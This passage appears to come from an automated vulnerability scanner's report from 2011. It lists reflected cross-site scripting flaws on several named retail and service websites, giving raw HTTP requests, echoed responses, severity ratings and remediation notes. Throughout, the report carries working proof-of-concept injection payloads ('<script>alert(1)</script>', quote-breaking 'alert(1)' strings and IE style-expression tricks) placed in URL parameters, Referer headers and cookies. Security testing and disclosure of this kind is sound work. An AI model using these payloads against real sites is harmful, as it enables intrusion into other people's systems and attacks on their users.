GET /?bcfc8<script>alert(1)</script>483939ae55c=1 HTTP/1.1 Host: www.charlottes-saddlery.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=66&c2=68 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 14:25:36 GMT Server: Apache Set-Cookie: mm5-COS-basket-id=75c2ad7cf358b45e59a1368c5e7d0a21; expires=Sat, 29-Sep-2012 14:25:36 GMT; path=/; HttpOnly Content-Length: 17298 P3P: CP="NOI DEVa TAIa OUR BUS UNI STA" Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="www.charlottes-sadd ...[SNIP]... <b>/?bcfc8<script>alert(1)</script>483939ae55c=1 </b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7ad41<script>alert(1)</script>bfa7fcb98cc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f6cf3<script>alert(1)</script>ad1a86374cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 50859<script>alert(1)</script>4cbf607adeb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 14:25:43 GMT Server: Apache Set-Cookie: mm5-COS-basket-id=75c2ad7cf358b45e59a1368c5e7d0a21; expires=Sat, 29-Sep-2012 14:25:43 GMT; path=/; HttpOnly Content-Length: 17256 P3P: CP="NOI DEVa TAIa OUR BUS UNI STA" Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="www.charlottes-sadd ...[SNIP]... <b>/mm5/neoimages/favicon.ico50859<script>alert(1)</script>4cbf607adeb </b> ...[SNIP]...
1.24. http://www.originalabsinthe.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.originalabsinthe.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfa16"><script>alert(1)</script>7e0f6c5329c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?bfa16"><script>alert(1)</script>7e0f6c5329c=1 HTTP/1.1 Host: www.originalabsinthe.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=10&c2=42 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the Search request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cba9d"><script>alert(1)</script>8f01bb7594e was submitted in the Search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the search request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6ee5"><script>alert(1)</script>2dd870bdfde was submitted in the search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 157de"><script>alert(1)</script>72edbca4617 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.dickssportinggoods.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: 157de"><script>alert(1)</script>72edbca4617 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:25:12 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 268185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 434b3"><script>alert(1)</script>ebd2fa0ee62 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /home/index.jsp HTTP/1.1 Host: www.dickssportinggoods.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: 434b3"><script>alert(1)</script>ebd2fa0ee62 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:24:59 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 268185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd438"><script>alert(1)</script>7f79323baf1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.fogdog.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=dd438"><script>alert(1)</script>7f79323baf1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:24:58 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html; charset=ISO-8859-1 Content-Length: 45302
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5591'-alert(1)-'065a7ce4ef was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.fogdog.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=c5591'-alert(1)-'065a7ce4ef Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:25:01 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html; charset=ISO-8859-1 Content-Length: 45269
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad4be'-alert(1)-'7c86dfaa039 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home/index.jsp HTTP/1.1 Host: www.fogdog.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=ad4be'-alert(1)-'7c86dfaa039 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:25:02 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html; charset=ISO-8859-1 Content-Length: 45272
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58847"><script>alert(1)</script>4268cd10276 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /home/index.jsp HTTP/1.1 Host: www.fogdog.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=58847"><script>alert(1)</script>4268cd10276 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:25:01 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html; charset=ISO-8859-1 Content-Length: 45302
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 457c8"><script>alert(1)</script>c19fd1e3999 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.modells.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: 457c8"><script>alert(1)</script>c19fd1e3999 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:24:56 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 83315
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 762c3"><script>alert(1)</script>145246d861f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /home/index.jsp HTTP/1.1 Host: www.modells.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: 762c3"><script>alert(1)</script>145246d861f Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 14:24:59 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 83315
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <meta http-equiv="X-UA-Compatible" content="IE=7" />
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a1fe"-alert(1)-"16dcf6670c0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.wineenthusiast.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=5a1fe"-alert(1)-"16dcf6670c0 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>Wine Accessories, Wine Gifts, Wine Cellars, Wine Racks & Wine Glasses - Wine Enthusiast</title> <META name ...[SNIP]... site where the tag is on [required field] pulse.setSite("wineenthusiast.com"); // Referrer page that brought the user to current page pulse.set("prf", "http://www.google.com/search?hl=en&q=5a1fe"-alert(1)-"16dcf6670c0"); // Type of page user is viewing pulse.set("pty","hp"); // If a purchase occurred on this page // Value of "0" means it didn.t pulse.set("pce","0"); // List of product ids an ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8fa0f"-alert(1)-"7de1b6d3f7f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<title>Wine Glasses: Crystal Glassware, Stemware & Wine Glass Sets - Wine Enthusiast</title> <META name="description" content="Wine Glasses from Wine Enthusiast. Find exquisite ...[SNIP]... site where the tag is on [required field] pulse.setSite("wineenthusiast.com"); // Referrer page that brought the user to current page pulse.set("prf", "http://www.google.com/search?hl=en&q=8fa0f"-alert(1)-"7de1b6d3f7f"); // Type of page user is viewing pulse.set("pty","cp"); // If a purchase occurred on this page // Value of "0" means it didn.t pulse.set("pce","0"); // List of product ids an ...[SNIP]...
The value of the cvo_sid1 cookie is copied into the HTML document as plain text between tags. The payload 2647d<script>alert(1)</script>0c48ec342c3 was submitted in the cvo_sid1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /trax/hit/wineenthusiast/0/?bts=1317390625348&sid=&mid=&eid=&cid=&jid=&typ=&val=1&isa=&pag=http%3A//www.wineenthusiast.com/&ref=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D10%26c2%3D42&fup=0&new=1&nji=0&sts=1303122170&dis=1920x1200x16&plu=gcswf32%2C103183%3Bnpqtplugin%2C77%3Bnpqtplugin2%2C77%3Bnpqtplugin3%2C77%3Bnpqtplugin4%2C77%3Bnpqtplugin5%2C77%3Bnpqtplugin6%2C77%3Bnpqtplugin7%2C77%3BnpdeployJava1%2C602603%3Bnpjp2%2C16026%3Bnpctrl%2C40605310%3BNPAUTHZ%2C2010%3BNPSPWRAP%2C2010%3Binternal-remoting-viewer%2C%3BppGoogleNaClPluginChrome%2C%3Bpdf%2C%3Bnpgeplugin%2C%3BnpCIDetect14%2C%3BnpGoogleUpdate3%2C%3Bnpitunes%2C%3Bnpwpidetector%2C14%3Bdefault_plugin%2C&ath=1317390625276&atb=1317390625276&log=0.001%20-%20@%200.002%0A0.069%20-%20i.e%3A%20J%20%0A0.070%20-%20%3E%3E%20te%3A%20%3B%20%3B%20%3B%201 HTTP/1.1 Host: sp1.convertro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cvo_sid1=SPZW6FZWEK8X2647d<script>alert(1)</script>0c48ec342c3
The value of the cvo_sid1 cookie is copied into the HTML document as plain text between tags. The payload 76c5e<script>alert(1)</script>6fd01531e8c was submitted in the cvo_sid1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /trax/hit/wineenthusiast/1/?bts=1317390610397&sid=&mid=&eid=&cid=&jid=&typ=&val=1&isa=&pag=http%3A//www.wineexpress.com/&ref=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D10%26c2%3D42&fup=0&new=1&nji=0&sts=1303122170&dis=1920x1200x16&plu=gcswf32%2C103183%3Bnpqtplugin%2C77%3Bnpqtplugin2%2C77%3Bnpqtplugin3%2C77%3Bnpqtplugin4%2C77%3Bnpqtplugin5%2C77%3Bnpqtplugin6%2C77%3Bnpqtplugin7%2C77%3BnpdeployJava1%2C602603%3Bnpjp2%2C16026%3Bnpctrl%2C40605310%3BNPAUTHZ%2C2010%3BNPSPWRAP%2C2010%3Binternal-remoting-viewer%2C%3BppGoogleNaClPluginChrome%2C%3Bpdf%2C%3Bnpgeplugin%2C%3BnpCIDetect14%2C%3BnpGoogleUpdate3%2C%3Bnpitunes%2C%3Bnpwpidetector%2C14%3Bdefault_plugin%2C&ath=1317390610389&atb=1317390610389&log=0.001%20-%20@%200.001%0A0.006%20-%20i.e%3A%20J%20%0A0.007%20-%20%3E%3E%20te%3A%20%3B%20%3B%20%3B%201 HTTP/1.1 Host: sp1.convertro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cvo_sid1=SPZW6FZWEK8X76c5e<script>alert(1)</script>6fd01531e8c
The value of the areaid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e94f4'style%3d'x%3aexpression(alert(1))'419f28d172f was submitted in the areaid parameter. This input was echoed as e94f4'style='x:expression(alert(1))'419f28d172f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.familysecure.com/Order1.aspx?areaid=22e94f4'style='x:expression(alert(1))'419f28d172f&pkgid=F1DCN'>he ...[SNIP]...
1.40. http://www.familysecure.com/Order1.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.familysecure.com
Path:
/Order1.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5b438'style%3d'x%3aexpression(alert(1))'9c3d9103f0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5b438'style='x:expression(alert(1))'9c3d9103f0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='https://www.familysecure.com/Order1.aspx?areaid=22&pkgid=F1DCN&5b438'style='x:expression(alert(1))'9c3d9103f0c=1'> ...[SNIP]...
The value of the pkgid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 98a1d'style%3d'x%3aexpression(alert(1))'00f5882e45c was submitted in the pkgid parameter. This input was echoed as 98a1d'style='x:expression(alert(1))'00f5882e45c in the application's response.
